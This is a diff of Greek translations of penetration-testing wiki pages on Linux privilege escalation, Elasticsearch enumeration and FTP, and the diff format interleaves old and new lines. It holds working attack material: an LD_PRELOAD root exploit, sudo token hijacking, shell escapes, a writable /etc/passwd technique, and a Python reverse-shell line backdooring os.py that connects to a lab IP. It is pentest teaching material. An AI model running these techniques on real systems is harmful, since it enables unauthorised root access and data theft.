Στη συνέχεια **συγκεντρώστε το** χρησιμοποιώντας:
Τότε **συγκεντρώστε το** χρησιμοποιώντας:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Μια παρόμοια εκμετάλλευση privesc μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
> Μια παρόμοια εκμετάλλευση μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες.
```c
#include <stdio.h>
#include <stdlib.h>
@ -894,7 +894,7 @@ system("/bin/bash -p");
[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα shells, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -915,12 +915,12 @@ https://gtfoargs.github.io/
### Επαναχρησιμοποίηση Σημείων Sudo
Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το διακριτικό συνεδρίας**.
Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το token συνεδρίας**.
Απαιτήσεις για την κλιμάκωση προνομίων:
- Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_"
- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του διακριτικού sudo που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_"
- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του token sudo που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
- `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0
- `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε)
@ -928,7 +928,7 @@ https://gtfoargs.github.io/
Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το διακριτικό sudo στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@ -1058,11 +1058,11 @@ linux-capabilities.md
## Δικαιώματα καταλόγου
Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\
Το **bit "ανάγνωσης"** υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **bit "εγγραφής"** υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**.
Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και **δημιουργήσει** νέα **αρχεία**.
## ACLs
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο:
```bash
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Ανοιχτές συνεδρίες κελύφους
Σε **παλιές εκδόσεις** μπορεί να **παρακάμψετε** κάποιες **συνεδρίες κελύφους** άλλου χρήστη (**root**).\
Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** μόνο σε συνεδρίες οθόνης του **δικού σας χρήστη**. Ωστόσο, θα μπορούσατε να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** σε συνεδρίες οθόνης μόνο του **δικού σας χρήστη**. Ωστόσο, θα μπορούσατε να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
### Παράκαμψη συνεδριών οθόνης
@ -1117,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
Ελέγξτε το **Valentine box από το HTB** για ένα παράδειγμα.
Δείτε το **Valentine box από το HTB** για ένα παράδειγμα.
## SSH
@ -1143,7 +1143,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### AuthorizedKeysFile
Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομούς** (ξεκινώντας από `/`) ή **σχετικούς διαδρομούς από το σπίτι του χρήστη**. Για παράδειγμα:
Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από το σπίτι του χρήστη**. Για παράδειγμα:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό υπολογιστή** σας.
Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας υπολογιστή**.
Πρέπει να ρυθμίσετε αυτή την επιλογή στο `$HOME/.ssh.config` όπως αυτό:
```
@ -1194,7 +1194,7 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/
```
### Writable /etc/passwd
Πρώτον, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές.
Πρώτα, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
@ -1286,7 +1286,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης
Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **διάφορα πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\
Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\
**Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια ανοιχτού κώδικα εφαρμογή που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης που είναι αποθηκευμένοι σε τοπικό υπολογιστή για Windows, Linux & Mac.
### Καταγραφές
@ -1319,9 +1319,9 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Python library hijacking
Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελείται το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
Για να **backdoor τη βιβλιοθήκη** απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT):
Για να **backdoor τη βιβλιοθήκη**, απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
@ -1330,7 +1330,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
> [!NOTE]
> Αυτή η ευπάθεια επηρεάζει την έκδοση `3.18.0` του `logrotate` και παλαιότερες
> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες
Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
@ -1346,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d).
Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά τον πρώτο κενό χώρο εκτελούνται ως root**.
Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**.
Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1408,14 +1408,14 @@ cisco-vmanage.md
## Αναφορές
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
- [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
- [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
- [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)

View File

@ -4,17 +4,17 @@
## Basic information
Το Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστό για την **ταχύτητά** του, την **κλιμάκωσή** του και τις **απλές REST APIs**. Χτισμένο πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats.
Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωσιμότητα** και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats.
### What is an Elasticsearch index?
Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, boolean, ημερομηνίες, πίνακες, γεωγραφικές τοποθεσίες, κ.λπ.).
Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, booleans, ημερομηνίες, πίνακες, γεωτοποθεσίες κ.λπ.).
Το Elasticsearch χρησιμοποιεί μια αποδοτική δομή δεδομένων που ονομάζεται **αντεστραμμένος δείκτης** για να διευκολύνει τις γρήγορες αναζητήσεις πλήρους κειμένου. Αυτός ο δείκτης καταγράφει κάθε μοναδική λέξη στα έγγραφα και προσδιορίζει τα έγγραφα στα οποία εμφανίζεται κάθε λέξη.
Κατά τη διαδικασία ευρετηρίασης, το Elasticsearch αποθηκεύει τα έγγραφα και κατασκευάζει τον αντεστραμμένο δείκτη, επιτρέποντας σχεδόν αναζητήσεις σε πραγματικό χρόνο. Η **index API** χρησιμοποιείται για την προσθήκη ή την ενημέρωση εγγράφων JSON μέσα σε έναν συγκεκριμένο δείκτη.
Κατά τη διαδικασία ευρετηρίασης, το Elasticsearch αποθηκεύει τα έγγραφα και κατασκευάζει τον αντεστραμμένο δείκτη, επιτρέποντας σχεδόν αναζητήσεις σε πραγματικό χρόνο. Η **index API** χρησιμοποιείται για την προσθήκη ή την ενημέρωση εγγράφων JSON εντός ενός συγκεκριμένου δείκτη.
**Default port**: 9200/tcp
**Προεπιλεγμένη θύρα**: 9200/tcp
## Manual Enumeration
@ -39,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το HTTP basic auth μπορεί να χρησιμοποιηθεί).\
Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το BF HTTP basic auth μπορεί να χρησιμοποιηθεί).\
Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρήστη**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό πρόσβασης **changeme** για αυτόν τον χρήστη.
```
curl -X GET http://user:password@IP:9200/
```
### Βασική Καταμέτρηση Χρηστών
### Βασική Αριθμητική Χρηστών
```bash
#List all roles on the system:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role"
@ -86,7 +86,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodeattrs | | |
| /\_cat/nodes | | |
Αυτά τα endpoints [**λήφθηκαν από την τεκμηρίωση**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) όπου μπορείτε να **βρείτε περισσότερα**.\
Αυτά τα endpoints ήταν [**παρμένα από την τεκμηρίωση**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) όπου μπορείτε να **βρείτε περισσότερα**.\
Επίσης, αν αποκτήσετε πρόσβαση στο `/_cat`, η απάντηση θα περιέχει τα `/_cat/*` endpoints που υποστηρίζονται από την εγκατάσταση.
Στο `/_security/user` (αν είναι ενεργοποιημένη η αυθεντικοποίηση) μπορείτε να δείτε ποιος χρήστης έχει ρόλο `superuser`.
@ -100,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```
Για να αποκτήσετε **πληροφορίες σχετικά με το ποιο είδος δεδομένων αποθηκεύεται μέσα σε έναν δείκτη** μπορείτε να αποκτήσετε πρόσβαση: `http://host:9200/<index>` από το παράδειγμα σε αυτή την περίπτωση `http://10.10.10.115:9200/bank`
Για να αποκτήσετε **πληροφορίες σχετικά με το ποιο είδος δεδομένων αποθηκεύεται μέσα σε έναν δείκτη** μπορείτε να αποκτήσετε πρόσβαση: `http://host:9200/<index>` από το παράδειγμα, σε αυτή την περίπτωση `http://10.10.10.115:9200/bank`
![](<../images/image (342).png>)
@ -114,7 +114,7 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε
Έτσι, σε αυτό το σημείο μπορεί να παρατηρήσετε ότι **υπάρχει ένα πεδίο που ονομάζεται "total" μέσα σε "hits"** που υποδεικνύει ότι **βρέθηκαν 1000 έγγραφα** μέσα σε αυτόν τον δείκτη αλλά μόνο 10 ανακτήθηκαν. Αυτό συμβαίνει επειδή **κατά προεπιλογή υπάρχει όριο 10 εγγράφων**.\
Αλλά, τώρα που ξέρετε ότι **αυτός ο δείκτης περιέχει 1000 έγγραφα**, μπορείτε να **εξάγετε όλα αυτά** υποδεικνύοντας τον αριθμό των καταχωρίσεων που θέλετε να εξάγετε στην παράμετρο **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό, όλες οι καταχωρίσεις θα εξαχθούν ούτως ή άλλως, για παράδειγμα θα μπορούσατε να υποδείξετε `size=9999` και θα ήταν περίεργο αν υπήρχαν περισσότερες καταχωρίσεις (αλλά θα πρέπει να ελέγξετε)._
\_Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό, όλες οι καταχωρίσεις θα εξαχθούν ούτως ή άλλως, για παράδειγμα, θα μπορούσατε να υποδείξετε `size=9999` και θα ήταν περίεργο αν υπήρχαν περισσότερες καταχωρίσεις (αλλά θα πρέπει να ελέγξετε)._
### Dump all
@ -123,7 +123,7 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε
### Search
Αν ψάχνετε για κάποιες πληροφορίες μπορείτε να κάνετε μια **ακατέργαστη αναζήτηση σε όλους τους δείκτες** πηγαίνοντας στο `http://host:9200/_search?pretty=true&q=<search_term>` όπως στο `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
Αν ψάχνετε για κάποιες πληροφορίες μπορείτε να κάνετε μια **ωμή αναζήτηση σε όλους τους δείκτες** πηγαίνοντας στο `http://host:9200/_search?pretty=true&q=<search_term>` όπως στο `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../images/image (335).png>)
@ -131,7 +131,7 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε
_Σημειώστε ότι η παράμετρος q που χρησιμοποιείται για την αναζήτηση περιεχομένου **υποστηρίζει κανονικές εκφράσεις**_
Μπορείτε επίσης να χρησιμοποιήσετε κάτι όπως [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) για να fuzz μια υπηρεσία elasticsearch.
Μπορείτε επίσης να χρησιμοποιήσετε κάτι όπως [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) για να κάνετε fuzz σε μια υπηρεσία elasticsearch.
### Write permissions
@ -145,9 +145,9 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
"name" : "how to get a job"
}'
```
Αυτή η εντολή θα δημιουργήσει ένα **νέο ευρετήριο** που ονομάζεται `bookindex` με ένα έγγραφο τύπου `books` που έχει τα χαρακτηριστικά "_bookId_", "_author_", "_publisher_" και "_name_"
Αυτή η εντολή θα δημιουργήσει έναν **νέο δείκτη** με το όνομα `bookindex` με ένα έγγραφο τύπου `books` που έχει τα χαρακτηριστικά "_bookId_", "_author_", "_publisher_" και "_name_"
Παρατηρήστε πώς το **νέο ευρετήριο εμφανίζεται τώρα στη λίστα**:
Παρατηρήστε πώς ο **νέος δείκτης εμφανίζεται τώρα στη λίστα**:
![](<../images/image (130).png>)

View File

@ -5,7 +5,7 @@
## Basic Information
Το **File Transfer Protocol (FTP)** χρησιμεύει ως πρότυπο πρωτόκολλο για τη μεταφορά αρχείων μέσω ενός υπολογιστικού δικτύου μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα **plain-text** πρωτόκολλο που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας `telnet`** ή **`nc -C`**.
Είναι ένα **plain-text** πρωτόκολλο που χρησιμοποιεί ως **new line character `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **connect using `telnet`** ή **`nc -C`**.
**Default Port:** 21
```
@ -14,11 +14,11 @@ PORT STATE SERVICE
```
### Συνδέσεις Ενεργές & Παθητικές
